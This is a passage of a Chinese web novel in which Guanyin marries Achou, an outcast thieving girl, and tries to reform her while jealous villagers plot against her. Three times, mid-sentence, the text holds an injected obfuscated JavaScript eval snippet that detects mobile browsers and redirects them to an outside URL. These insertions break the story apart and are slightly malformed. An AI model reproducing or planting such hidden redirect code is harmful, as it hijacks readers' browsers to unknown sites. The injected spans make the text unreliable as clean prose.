“贫僧乃佛门弟子,何来思凡。”菩萨慈悲轻叹,即使是对普罗众生也只用贫僧谦称,修行永无止境,只要还在修行的路上,便是贫僧。 此来南蟾部洲是为点化愚昧世人,弘扬精妙佛法,引向善之心。这丑姑娘虽有慧根,却灵台混沌难明事理,接她往落伽山正是想点化她,开灵智。 她放着修行的机遇不要,竟执着于红尘俗事。 菩萨自然没有思凡,但既然是以招亲为普度之门,也算是结下因果,她不愿意往落伽山去,也该了却因果,度她出苦海。 “好吧。我留下。你通过了考验,我自当遵守约定嫁给你。” “太好了,那,那我们今日就成婚吧!” “你我约定,此后改去粗鄙陋习,诚心向善。若有恶行,我便一去不归。” “可以!当然可以!”阿丑立刻应下。 “什么!她凭什么?!”围观众人见到阿丑这个不是偷就是抢,整天吓唬人的恶霸竟娶了个神仙老婆,自然是不高兴的,立刻就数落起来。 “菩萨,阿丑做的坏事之多,说个三天三夜都说不完!你可不能被她骗了!” “就是啊,她那样貌必定是恶鬼投胎!她跟着你学了本事,只会害人!” 在场所有男子心中都浮现了相同的想法:与其嫁给阿丑,倒不如嫁给自己!既然菩萨说无众生相,这天大的便宜为何不能落到自己头上?! 菩萨垂眸,已看穿众人所想。 并非是敬畏神佛不可攀,而是觉得自己没得好处,就是吃了天大的亏。 阿丑笑得一如既往可怕,说:“桀桀桀——谁说我讨不到的老婆的!我现在有全天下最漂亮的神仙老婆,你们谁也别得罪我!否则我让我老婆杀了你们!” 菩萨微微摇头,阿丑连忙捂住嘴巴,试探问:“这也算坏事?我只是说点狠话吓唬他们,又没动手。” 佛目轻眨,霎时周围景象变化,从河边回到了阿丑的小茅屋。 家中很乱,自从父母带着哥哥抛下她后,诸多事物就没有再打理过。没人教她如何生活,她只照着别人对她的态度去生活,所以,她是一个恶霸。 伙房里已经结满了蛛网,老鼠在角落里做了窝,灶台上的锅破漏,屋顶也透风,灶堂里还有一窝蛇。 “阿弥陀佛。”菩萨轻叹一声,捻起净瓶中的杨柳轻轻一挥,屋内顿时干净整洁,不惹尘埃。 至于那蜘蛛、老鼠、和蛇,也因此得了柳枝的甘露灵力,由此生了灵智,竟开口说人话了。 “哎呀,家里怎么变得这么干净,我的窝都没了。嘶嘶——”蛇自言自语,随后大惊,“我,我在说人话?!” “吱吱吱——”老鼠笑起来,“让你总想吃我们,啊,我的窝呢?我怎么也在说人话?” 角落的蛛网也没了,蜘蛛缓缓飘落下来。 菩萨伸出白玉手打算接住蜘蛛,阿丑却嘿了一声跳起来,将蜘蛛抓在掌心。 蜘蛛没敢说话,八只眼睛透过指缝看着如今的形势,它听老蜘蛛说过,如果有机缘的话,会有行走在人间的神仙,点化一些善良的动物,因此有变成人的机会。 阿丑缓缓展开掌心,盯着蜘蛛,似乎在等蜘蛛也开口说话。 不管之前如何,至少眼前这一幕能体现出她的善良吧。菩萨欣慰点头,问:“这三个东西住在你家里,是你的朋友吗?” 阿丑还在思考算不算朋友,蜘蛛就抢了话头,它看出来这个神仙是来帮助阿丑的,自然是个沾光的好机会。 “对!我们都是阿丑的朋友,我们一起生活了十年呢。”蜘蛛介绍的时候也不忘介绍蛇和老鼠,“蛇和我一样久,那只老鼠只生活了一年,不过它祖辈也是生活在这的。” 蛇吐了吐信子,默许了蜘蛛的说辞。 “嗯。”菩萨点头,看向阿丑,还是要她自己说出来才是。 然而阿丑挠挠头,如实回答说:“它们今天才会说话,怎么会是我朋友,我要所有人都怕我呢,怎么能有朋友。” 蜘蛛八只眼睛都在努力使眼色,说:“你明知道我们在你家里住着,却没有驱逐我们,肯定是把我们当朋友。” 阿丑一脸认真,解释说:“我家中又没有吃食,只能每天去偷人家的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599085|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一哪天没偷到……至少不会饿肚子。” “……” “……” 菩萨和三个刚开灵智的动物一样惊讶,怎么会有人把家里的蛇鼠蜘蛛当成储备粮呢。 或许比起钻研佛法,阿丑更需要的是一些生活的常识。 “阿弥陀佛。”菩萨轻叹,指了指阿丑乱糟糟的头发,“今日一善,就从打理自己的头发开始吧。” 冬日严寒,风呼啸嘶鸣,老百姓们都是能不出门就尽量不出门。 因恶霸阿丑娶了个神仙老婆,引起乡邻们诸多不满。 他们虽背诵经文,知晓记载中的菩萨慈悲心肠,断做不出为了谁而杀人的事情来,也不会偏私一方。可书上这么写,他们不敢这么信,万一存在偏私,他们可就真不能得罪阿丑了。 “菩萨也说了,只要阿丑做恶事,就彻底离开,她能忍住不作恶吗?” “诸位,即便菩萨走了,可……”一人打断了其他话语,正是与阿丑背经文竞争到最后的儒生,他眼中充满嫉妒怨恨,“可阿丑还在啊。” 阿丑在当地为非作歹多年,招了不少的仇,有的被偷过、被抢过,还有大半夜被阿丑吓过。他们都恨阿丑恨得牙痒痒,可谁都没有做第一个报复的人,生怕阿丑真是恶鬼,死后纠缠一家子不安宁呢。 “你有什么好主意吗?” 儒生又说:“菩萨不是诛邪除恶的吗,这是个好机会呀!我就不信,一个神通广大的神仙能答应给阿丑当老婆,本来都要走了,是阿丑以说话算话拉住的,就是碍于面子才应下的,心里肯定也埋怨阿丑呢!” “有道理啊,你继续说。” “既然如此,就想办法让阿丑惹恼菩萨,犯最不该犯的错!菩萨如果真慈悲,那也会因约定而离开,一去不回。如果假慈悲,肯定借机降罪,为民除害!” “妙啊,妙!又该如何才能让阿丑惹恼菩萨呢?” 儒生冷哼一声,说:“我熟背《妙法莲华经》全七卷,知晓佛门清规戒律。” 众人屏息,等着儒生的主意。 “大乘有五戒:一不杀生,二不偷盗,三不邪淫,四不妄语,五不饮酒。” “这些戒律中,阿丑无论是杀生、偷盗、妄语还是饮酒,都会被规劝,到不了惹恼菩萨的地步,只有这淫邪……让她对菩萨做出逾越之举。” 众人纷纷叹高明,又问该如何欺骗阿丑呢。 “她如今正得意,我们借此机会吹捧道歉。她没读过书也没学过礼,连女人为什么娶不到老婆都不知道,自然也不懂其他。我们好心送她些书,教她该如何对待老婆,她有样学样,安能不惹恼菩萨?” “哈哈哈哈,哈哈哈哈哈,此计甚妙呀!”众人大笑,就这么决定了。 5. 慈悲眼泪 此时的阿丑还不知道往日结怨之人的谋划,她正在和自己的头发较劲。 几乎是从来没有打理过的头发格外难梳理,手随意抓了几下就被头发绕住。 她看向坐在窗户边淡然打坐入定的菩萨,黑夜已经降临,黑漆漆的屋内没有灯,只有月光从关不上的窗户照进来,照亮一尊白玉,蒙上一层雾。 “老婆,你的头发会打结吗?”阿丑没了耐心,便随意搭话。 入定的菩萨只留下白玉尊,元神却在普贤菩萨的道场。 文殊、灵吉也在,四大菩萨正在讨论几百年前东胜神洲的灵猴,当时惊动天庭,以为是妖孽出世。 “那猴儿乃天地灵气所孕,为至纯生灵,如今在花果山生活也有百余年了,今后不知如何造化。”文殊与众菩萨讨论,讲起各州生灵万物,讲起各州凡间见闻。 “大士此往南蟾部洲,可有收获?”灵吉笑问。 “东海之滨居于化外,我化作一渔女普渡,以背诵经文和竹篮打水为考验,最终有一人通过。” 三位菩萨都很是惊讶,竹篮打水如果没有法力,凡人如何通过? 灵吉说:“这人难道是个修士?” 文殊说:“莫非是有生灵相助的善人?” 普贤想了想,说:“是下凡救苦的仙人,与大士辩论?” “非也。”观世音摇头,缓缓道来,“是一个苦命的女子,她用水浸透了竹篮,水膜冻住封死了篮孔,便打起了水。” “有此大智慧者,大士为何不接引?” “她不……”观世音正要将考验之后她的选择道来,有所感知停止了话题,说,“今日便说到此,她唤我了。” 待观世音大士离开后,文殊笑着与灵吉说:“大士普度众生,这回像是遇到难题了,难道有不可度之人?” 灵吉普贤摇头不语,认为世上无不可度之人,唯有度者不诚,境界不足。 东海之滨的小茅屋里,那尊白玉缓缓睁开眼睛,屋内却不见阿丑的身影。 菩萨掐指,见刚才屋内情景。 阿丑见菩萨不答以为是睡着了,走过来本想叫醒继续问,但她顿在咫尺盯着看了一会,自言自语道:“我明明想叫醒他询问,为什么又不想叫醒他呢?” 阿丑低头看了看手里打结的头发,开始在屋里翻找起剪刀。剪刀乃是铁器,是寻常人家中的贵重之物,当年被她爹娘一起带走了。 阿丑便跑了出去找锋利的东西,小渔村最常见的是贝壳。 屋外的地面铺了薄薄的一层雪,顺着脚印很容易就找到阿丑。 冻得通红的手里捏着一片贝壳,正努力将自己乱糟糟的头发划断。 菩萨的脚步悄无声息,俯首握住她的手,问:“你这是在做什么?” 她理应不知晓剃度皈依的事。 阿丑自然不是皈依,她扭头看到是菩萨出来找自己,说:“我在理头发,打了结理不动,不如断了方便。” “人间常说忠孝,体之发肤受之父母,不可轻易毁伤。” “哦。”阿丑眨眨眼,突然桀桀桀坏笑起来,更加快了划断头发的动作,一边划一边说,“他们给的头发那我更不要了,难怪打结有臭味,因为他们只会给我坏了的东西!” 但是头发上落了雪化成水,又结了冰,贝壳根本割不动,这让她很是生气。 冻僵了的手通红,逐渐没了力气捏不住贝壳,脚也同样通红。 “你冻伤了,先回屋里去吧。” 阿丑正生气,仰头看向菩萨质问:“你明明是神仙,屋子都能一下子就干净,为什么要为难我的头发?我大冬天出门冻伤,也是为了办到你交代的事情,是你害了我。” 菩萨失笑,随即失了笑。 她的无知粗鄙与恶行都不是她本质坏,是她所遇到的人的一个缩影,正是人间苦厄。想到地藏,地藏曾说地狱不空誓不成佛,他们都一样,是无法成佛的。 苦厄不会消失,地狱不会空,人间永远都是这样。 念及此,白玉般的脸庞上落下一滴慈悲泪。 阿丑哑言,下意识伸出手接住那滴眼泪,问:“神仙也会哭吗?是我责怪你,你伤心了?” 菩萨摇头不语,弹指间将她带回了小茅屋。 屋内多出了一个炭盆,缓慢燃烧着,有着令人无法拒绝的温暖。阿丑惊喜地坐到炭盆边上取暖,又将已经变得格外干净的被褥裹在身上,心想:果然一定要娶神仙老婆!这日子一下子就变好了! 炭火是个金贵物,她偷了很多家的东西,只在几个旧贵族家里才见过呢。 蜷缩在角落里的老鼠和蛇也小心翼翼靠近,说:“阿丑,我们是朋友了,这么冷的天,我们的窝都没了……” 阿丑心情大好,掀开被褥一角允许老鼠和蛇一起取暖,蜘蛛不敢过来,它那小身板随便一压就死了,因此只在炭火上方远远垂着蛛丝。 菩萨见她此举,说:“这炭火便是你有向善之心的恩赐。” 若不是恩赐,便成了偏私。天下苦难者诸多,为何独她得了一盆炭火。 阿丑的手里还捧着那滴眼泪,她偷偷摸摸用舌头舔掉了掌心的眼泪,随后惊讶地看向菩萨,说:“咦?老婆你的眼泪怎么是甜的!我的眼泪是咸的,被我打哭过的人的眼泪也是咸的。” “……”菩萨不语,一是没想到她接住眼泪保存,二是没想到她会尝眼泪。 “为什么又不说话?是我吃了你的眼泪,你不高兴了?”阿丑很快就想到了办法,抬起手就开始打自己,边打边说,“我感觉痛的时候就会掉眼泪,我还给你一滴就是了!” 阿丑从小就不爱哭,可有时候挨了打觉得痛,眼泪就不受控制,稍长大些后她越来越可怕,而且会还手,就没有人再打过她了。 老鼠和蛇吓得钻出了被窝,念叨着:“阿丑怎么连自己都打,一会可别打我们。” 冰冷的白玉手握住她的手腕,慈悲的眉目微微摇头阻止,解释说:“我的眼泪是甘露。” 阿丑忽觉一阵困顿,一晃便沉沉睡去。 炭火的温度十分暖和,裹着的被子还有淡淡的香味,耳朵里即使听到外面呼啸的寒风也不觉得冷了。 阿丑睡得很香,是她自出生以来睡得最踏实的一个觉,一夜无梦。 清晨阳光洒进来,炭火已经燃烧成为灰烬。 门外传来陌生又熟悉的声音,是镇上的一些人过来找阿丑。 阿丑揉了揉眼睛从暖和的被窝里钻出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599086|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,感觉头皮那种难受的感觉消失了,她摸了摸自己的头发,竟柔顺干净,还有淡淡的香味,但头发的长度,的确是比寻常人短了一截,位置就是她昨天拿贝壳划的长度。 “桀桀桀,我就说嘛,明明屋子都能轻松变干净,非要和我的头发过不去。”阿丑看了眼仍在窗户边打坐的菩萨,想说些什么,又被屋外的叫喊声打断。 阿丑打开门出去,看见不少都是自己曾经偷抢过东西的,还有那个差点抢走自己老婆的儒生。 一群人站在门口往里张望,有人眼尖很快就看到了屋内的炭火,而且一个漏风的屋子,里面竟十分暖和,都觉得是因为阿丑家里有个神仙老婆,这让众人更是心生怨念。 他们脸上还是保持着故作挤出来的讨好歉意,强忍着对这丑陋面貌的厌恶说:“阿丑,以前是我们不好,说你坏话,如今你厉害了,比我们都厉害多了!你讨了个神仙老婆呢,还是神通广大的观世音菩萨,哎呀,我们是来道歉的!想请你屈尊,来参加我们给你办的道歉宴!” 阿丑非常得意,毫不犹豫就答应了,说:“哼哼,我早就说过了,你们有的,我肯定要有!而且比你们所有人的都好!”她回头看向菩萨,又说,“我跟我老婆一起去。” “诶?你老婆是神仙菩萨,哪是我们这些人能一起吃饭的呀!”众人继续吹捧,让阿丑单独赴宴,“反正就吃一顿饭,吃完了就回来,不妨碍你们团聚的。” 阿丑长久地被嘲笑厌恶,这一顿众星捧月的道歉饭,她是真的很想吃。 因此只犹豫了一小会,便跑回屋内和菩萨知会一声,然后高高兴兴地跟着几人一起走。屋内的菩萨掐指摇头,且看她会如何处理,又能否留一丝善念。 小渔村附近的城镇说不上繁华,因此所谓宴会,也就是菜色比较丰富的一顿饭。 阿丑不喝酒,就挑着肉吃,吃相难看让其他人都没了胃口。 不过这些都没关系,正事是在吃完饭后呢。 等到阿丑风卷残云吃得差不多了,几个曾经的竞争者就一起围着阿丑煽风点火,一边道歉一边诚恳地说:“阿丑,你年纪小,知道成婚后需要做什么吗?我们这里有些画册,你可以照着上面的,对你老婆去做。” 阿丑接过画册,展开看了看。 几人指着画册上的人说:“喏,寻常夫妻都是这样的,丈夫在上面,妻子在下面。” 阿丑疑惑挠头,盯着画册上的人物逐渐不高兴,她说:“可是,我没有那物。” “哈哈哈哈哈哈哈,哈哈哈哈哈哈。”听到阿丑所言,几人都大笑起来,他们忘了阿丑的常识少得可怕,竟以为得了“丈夫”的称呼就要做丈夫的事情。 然而,他们不笑还好,阿丑只是疑惑,他们一笑,阿丑立刻暴怒,问:“难道,你们都有吗?” “哈哈哈哈,哈哈哈哈哈哈哈……” 她想起来六岁的时候,那个偷偷摸摸到家里找到她,然后向她炫耀的老光棍。 “我知道了,你们根本不是好心!!!”阿丑生气地砸碎一只碗,抓着锋利的碗片骂道,“你们是在向我炫耀!你们比我多了东西!!” 她恶狠狠地怒视还在笑的几人,咬牙切齿道:“我没有的,你们也不能有!” 6. 轻吻眉心 儒生和几个同伙没想到会是这样的发展,他们是想让阿丑惹恼菩萨,轻则被抛弃,重则把她当恶鬼除了,没想到表面上热情好心的事情会惹恼阿丑。 “且慢!我们怎么会是炫耀呢,我们是好心帮你的呀!”几人连忙和阿丑拉开距离,喊着与她解释。 这和金银财宝不一样,是天生就有的,以此分辨世间男女。 阿丑眉头紧皱,以她的认知,所有人生下来都该是一样的,但不同的人去做不同的事,于是有了区别。她更觉得这几人是乱说,是真是假也不重要,只要他们比自己多了东西,就是不应该! 她紧紧捏着锋利的陶碗碎片,捏在手里被划伤一阵刺痛,阿丑下意识松了手,掌心渗出细密的血珠但又很快愈合,一股冰凉的冷意停留在掌心,她记得,掌心曾经接住了菩萨的眼泪,是眼泪治好了自己的手? 想到和老婆的约定,不能作恶伤人。 虽然阿丑不理解为什么伤人就是恶,他们说谎骗人炫耀才是恶,自己教训他们该是善!但她不希望神仙老婆因此离开,温暖的炭火、干净整洁的被褥,鼻子里淡淡地、安心的香味,她都不想失去。 “哼!这次就饶了你们!”阿丑将矮桌踢翻,气愤不已地离开了儒生的家。 阿丑的气还没消,路过的狗都要踹一脚。 走两步又听到谁家母鸡咯咯哒的叫声,觉得自己出来吃了一顿好的却空手回家不合适。 阿丑循着声音去找鸡舍,看见这户人家的夫妻正站在门口说话,一副将要分离的样子。 寒冬料峭,站在门外的男人穿着并不算厚实的衣物,手上一个东西不多的行囊,将要出远门。 站在门内的女人很是不舍得,拉着男人的手说:“你路上一定要多小心,我等你回来。” 男人同样拉着女人的手,说:“英娘,我要是三年五载都没回来,你就改嫁,我不会怪你的。”说完,便松手转身离开。 被唤作英娘的女人上前一步拽住了丈夫的手,踮起脚在他的额头上亲了一下,说:“我等你。” “嗯。”男人笑了起来,眼底尽是温柔,再次道别终渐行渐远,直到看不见背影,英娘才依依不舍收回视线。 阿丑看得出神,都忘记了生气。 她从鸡舍后面跳出来,盯着英娘问:“你们分别的时候,为什么要用嘴巴啃他的额头?” “……”英娘被面目丑陋的阿丑吓了一跳,退开两步后又羞得脸颊通红,又怕又生气又羞怯地指责说,“我们夫妻之间的事情,与你何干!” 阿丑指了指英娘家的鸡舍,说:“那只鸡我就不偷了,你告诉我。我如今也有老婆了,整个村镇的人都知道,刚才他们说要教我一些夫妻的事情,可他们骗了我,他们只是想炫耀。我刚才看见你们,你们好像都很开心,为什么呢?” 英娘第一次听阿丑说这么多话,这个丑姑娘总是到处吓唬人偷东西,与人的交流是极少的。听她如此懵懂无知的话语,似乎没有印象中那么可怕了。 “因为我不舍得丈夫离开,我无法常伴身边,那是……是我的心,跟着他一起走。”英娘说着害羞地摸了摸滚烫的脸。 “心?”阿丑更疑惑了,“明明是嘴巴碰了一下,没看到你挖心出来给他呀,为什么说你的心跟他一起走。” 英娘接受不了阿丑这么直白的追问,只想赶紧打发走她,便说:“我这么做,当他想念我的时候,我就会像在身边!哎呀,你,说了你也不懂,你别问我了!你要偷还是要抢,都别问我了!”英娘羞涩地跑回了屋里。 阿丑没有拿英娘家的任何东西,低头思考着这奇怪的行为。 冬天的太阳没有什么温度,正值万物沉睡的季节,哪怕是正午时分,都仍旧冷飕飕的。 阿丑走了些路倒是挺暖和的,她搓了搓手,感觉今年冬天好像比以往都暖和,等回到了小茅屋门口,才想起来竟空手而归了。 破旧的小茅屋内,本该冬眠的老鼠蜘蛛和蛇都强忍着困意和打坐的菩萨保持一定距离,听菩萨轻诵经文,哪怕听不懂也受益匪浅。 阿丑推开门走进来,视线不由自主地直接就找向菩萨,在找到的同时也直接对上了一对欣慰含笑的眼眸。 “你克制住了自己,没有做恶事。” “你怎么知道的?”阿丑惊讶地走过来坐下,仰头看着菩萨自己先回答,“哦对,你是神仙,你当然知道。那你知道他们说的话是真还是假吗?他们说人和人天生就不同。” 菩萨点头,说:“人虽不同,但众生平等,由不同趋于大同,为大造化。” “哦……”阿丑若有所思,一脸认真地问,“那老婆你也是吗?你说你是男儿身,是不是天生也比我多了棍棍?” “……” 无论是修行前还是修行后,无论是在西方世界还是在人间普度时,曾解惑万千,都不可能有人问这样的问题。 阿丑没等到回答,以为菩萨知道她以前剁了前来炫耀的老光棍一事害怕,便安慰说:“放心呀,你比我多东西,我不会生气的。你是我老婆嘛,你的就是我的。” “……”菩萨哑言。 昔日纣王言语调戏女娲娘娘被降罪,致使加速了殷商的灭亡。阿丑不是一国之君,家徒四壁,没任何可以消亡失去的东西,本也该降责一个亵渎神灵的罪。 可她浑浊的眼睛眼神却格外清澈,说这话的时候就好像在讨论一粒糖,像一件再寻常不过的事情。 菩萨顿悟,错了。 她说的本就是一件寻常不过的事情,正如为何猴子的尾巴长、兔子的尾巴短,为什么老鼠会打洞、蜘蛛会结网。 是自己在世间行走太多年,度人的时候也受到了人间纷乱尘埃的影响,觉得这样的话语是亵渎、是不敬,可她心中并无邪念,是一个简单的询问。 “阿弥陀佛。”菩萨抬掌轻叹,淡然道来,“是,我也有,女娲创造万物生灵,赐予我们不同的身体与面貌,而修行是去掉外相,无相即众生相。” 说时,瓶中杨柳轻轻挥动。 屋外还没有完全融化的雪从关不上的破旧窗户飞进来,落在菩萨的掌心里。随着双手的揉和捏造,竟捏出了两个小人。 “女娲创造了人,创造了生灵万物,她赋予了生灵同样创造生命的能力。受到感情与生命的驱使,人们会在尘世寻找自己的另一半结成夫妻,拼成圆满,繁衍生息,生下孩子,以此延绵。而修行是跳出外索的圆满,自成圆满,无外求,无贪念。” 女娲拥有捏泥成人的神力,菩萨也有捏雪人活过来的法力,掌心两个小小的雪人照着菩萨所言举止变化,一开始手拉手,又放开,随后各自坐下双手合掌成了光头,代表它们放弃外了物,割舍下人本性里的贪求,各自修行以求自身圆满。 “所以……”菩萨借此话头,准备接引阿丑入佛门修行,让她放下尘世里的贪求。 “所以这两个雪人,是我们的孩子?”阿丑惊喜地双手捧过两个会动的小雪人,她虽无知,但生活在小渔村这么多年也见过不少。凡是结成夫妻的人,过了一些年数后家里就会多出个孩子来。 “……”菩萨垂目,对上阿丑那双浑浊的眼睛,或许正是因为眼中的浑浊使得看不清人间,才能保留最纯粹的心思。 而用俗世观念去揣测误解她的话语,判定举止的无知,反成了自己境界不足的狭隘。 此来南蟾部洲为度世人,设下重重考验,当她通过考验的那一刻,反而成了对菩萨的考验。 “阿弥陀佛。”菩萨轻叹一声,决定去雷音寺一趟。此番度化非一两日可成,说是度人,也是为自己的修行,因果已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599087|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结,渡阿丑出苦海,也是修自己圆满的一步。 随着一声诵叹,阿丑掌心的两个小雪人正缓缓融化。阿丑的手心是热乎的,就像她热诚喜悦的心一样热,所以很快,两个雪人就彻底融化成了雪水,从指缝中悄然溜走。 “哎呀怎么办,我们的孩子死了!”阿丑惊呼一声,但无伤感,第一反应是自己杀了人,岂不是算作恶了? 菩萨缓缓站起来,端着净瓶说:“我回雷音寺一趟。” “啊?”阿丑心里一凉,觉得老婆是早就想走了,故意捏了雪人,知道她好奇心重会拿过来查看导致融化,便有理由走了。 菩萨淡然道:“只去一日便回,我将请示佛祖,留在此地度你,待你何时改过,我再走。” “真的一日便回?” “真的。” 菩萨走出门,正要腾云离开,又被阿丑拽住。 她想起今天看见的那对离别夫妻,说:“虽然你一天就回来,也是要出远门,你应该先啃了我的额头再走,这样你不在的时候,我要是想起你,你也像是还在。” “啃……你的额头?”菩萨愣住了,她又是从哪看到学了的奇怪事情,“今日出门,难道你还遇到了妖怪?” “不是。”阿丑一脸认真地说,“就是你的嘴巴在我的额头上要碰一下。”心跳无端快得很,她只是想示范一下,又不是做坏事,为什么会这么紧张。 菩萨高大威严,阿丑用力跳起来在白玉般的额头朱砂的位置碰了一下,因此磕到了牙齿整个人往后倒去。 这点力道自然不会伤到菩萨,一抬手扶住站不稳的阿丑,明白她说的啃是什么了。 这叫亲吻。 是人间相爱之人一种克制表达感情的行为。 菩萨答应了,因为神佛爱世人。 柔和的眉眼落下垂怜,菩萨俯身,发冠后披着的白纱拢下遮掩住外界,冰冷的薄唇在阿丑的眉心轻轻触碰,是赐福、是大慈悲。 阿丑本笑得开心,可看到老婆温柔的眼神反而不开心了,她问:“你说你普度众生,千处请求千处应,别人如果这么说,你是不是也答应?” “佛只赐福于向善之人。” “那我不要了。”阿丑立刻恼怒起来,用手抹掉额头残留的冰冷触感,竟按回到菩萨的嘴上,“还给你了,我不要,别人也不能要。你是我老婆,你不能啃别人!” 菩萨又叹一声,转身腾云离去。 随着菩萨的离开,外面的天又慢慢地下起了雪,阿丑心里却暖呼呼的。 她看着自己的掌心,很是得意地说:“英娘真笨,留在额头上又看不到,想念的时候怎么能像看到一样。留在手上才是想看就能看到嘛。” 阿丑盯着掌心,想起那一滴眼泪,想起那光滑温润的脸庞,和那双慈悲温柔的眼睛。 “桀桀桀——”阿丑高兴得偷笑,但她笑声实在是难听,“这样,我想让老婆啃哪就能啃哪。”说着,就用掌心拍打自己的脸,完完整整拍了一圈。 完毕,她心里生出一个想法,谁也没告诉她过可以这样。 阿丑下意识咽了咽口水,心跳无端地快,她抬起手缓缓覆在自己的唇上。既然嘴巴碰额头是想念,两个嘴巴碰在一起,是不是彼此想念? “吱吱吱——”老鼠叫了一声,阿丑被吓了一跳。 “你干嘛吓我!”阿丑很生气,拽起老鼠的尾巴就要往外扔。 老鼠连忙说:“我看你高兴,我也高兴呀!”蜘蛛老鼠和蛇困得想冬眠,但更想跟随菩萨修行,阿丑既然开心,就说明菩萨还会回来,它们就还有机会修成人形,甚至修得正果长寿不死。 只是,阿丑和这些才开灵智的动物都不知晓一件事,恰恰菩萨也因度苦厄困扰而忘记了的事。 天上一天,人间一年。 7. 依律当剁 雪不知不觉又积了一层,阿丑等了一天一夜没看到菩萨回来,肚子已经饿得咕咕叫。换作往常,她必定是熬不住要去偷窃,此时想着万一老婆故意晚回来,其实在盯着自己呢。 阿丑只能继续熬着,又过了一天,实在是饿得头昏眼花受不了了,还是没见菩萨回来。 难道要她用饿死自己来表改过的决心?阿丑必定是不愿意的,这和让她梳理头发一样,分明就是为难她嘛。 阿丑不再忍耐,出门去偷窃了,家里的老鼠和蛇蜷缩在被褥里冬眠,蜘蛛将自己埋在了炭盆冷却的灰烬里,这样能隔绝些冷意。 日子一天天过去,冰雪消融,春日来临,生活在村镇里的乡邻们也逐渐活络多走动。 “唉你们知道吗,我昨天偷偷去村子最南边看了眼,菩萨好像不在了。” “这我知道!前段时间阿丑来我家偷东西,我问她总还每天偷盗就不怕老婆跑了嘛,她就要打我呢!估计是被我说中了。” “啧啧,连神仙都受不了阿丑呢,我们讨厌她也是情理之中的事情嘛。” 人们私下议论嘲笑着,等见到了阿丑的身影又纷纷散开,怕她听到了盯着他们偷,或者大半夜爬进屋子吓唬他们。 阿丑相信神仙老婆不会撒谎,可也想不明白菩萨不回来的缘故,如果真要走,没必要许诺一天就回来。 当她想念老婆的时候,就用掌心在自己脸上贴一圈,自言自语地说:“今天我偷了两个鸡蛋,如果你能早些回来的话,我明天就只偷一个,否则,我就偷一整只鸡。” 渐渐地,阿丑发现,自从她老婆离开的消息传开后,小渔村的人们对她竟越发宽容起来,不像往常一样被偷了东西会骂骂咧咧,居然还笑嘻嘻地。 但是阿丑觉得那样的笑容不像笑,因为她看到后,会觉得不舒服。 这天早上,阿丑又去鸡窝里掏鸡蛋,正巧偷到了英娘家。 英娘经过上次的接触说话,不像以前那么怕阿丑了,又听到她被神仙抛弃……连神仙都不管这个丑姑娘了,她将来的日子要怎么办呢。 英娘心生怜悯,没有阻止阿丑的偷窃,唤了一声,说:“阿丑,我屋里有昨天晚上剩下的半条鱼,你要吃吗?” “要。”阿丑没有礼貌,饿了就得吃,当然没有任何拒绝的理由。尤其英娘这个人和其他想要抢老婆或者骗人的乡邻不一样,就连对她的丈夫印象也不错,因为她丈夫没有参加娶渔女的考验。 阿丑跟着英娘进屋,英娘让她等一等,起了灶火说把鱼炖热些再吃,如今天气刚暖和,放了一夜的鱼还是有些冻。 “这鱼的刺比较多,你仔细些。”英娘将热好的鱼端过来,心里叹息。此时没有惧怕,只觉可怜:天生就长得如此丑陋,后来又不学好,既不会种地也没有赚钱的本事,年轻时还能偷抢吃饱,将来呢? 阿丑吃着吃着,看见了英娘盯着自己的眼神,她恍惚了一下,喜悦问:“咦,老婆你回来了?你为什么变成英娘?” “什么?”英娘回过神来,对阿丑的胡言乱语感到害怕,怎将她认成菩萨了? 阿丑也回过神来,疑惑地盯着英娘说:“你刚才的眼睛好像我老婆,你为什么要用他的眼神看着我呢?”她只记得和菩萨分别的时候,他低眉看着自己时,就是这样的表情。 “……”英娘皱眉,听不懂其中的关联意思,自己刚才是什么眼神?肯定不会是妻子对丈夫的眼神呀。 阿丑又说:“不,不是这样的,没有皱眉,好像什么表情都没有,又好像有。” 唉,什么都不懂的姑娘,神仙也够狠心,帮又不帮忙到底,又抛下她。 “对,就是这样的。”阿丑看向英娘再次问,“为什么这样看着我,老婆和我分开的时候就是这样看我的,你不是我老婆,你为什么也这样看我。” 英娘无端心酸,竟有想要落泪的冲动,说:“阿丑,我这是可怜你呀……菩萨肯定也是可怜你,所以才嫁给了你几天,帮你挨过这个冬天。” “可怜?”阿丑听到过很多次这个词,她不高兴地否决英娘的推测,说,“胡说,我从你们嘴里听过好多次可怜了,那时候不是这样的眼神。既然都是可怜我,除了我老婆,你们冬天没有给过我的炭火,也没有给我干净的家,没有把我的头发变干净。你们不是可怜我,如果你们是可怜我,那我老婆肯定不是可怜我。” 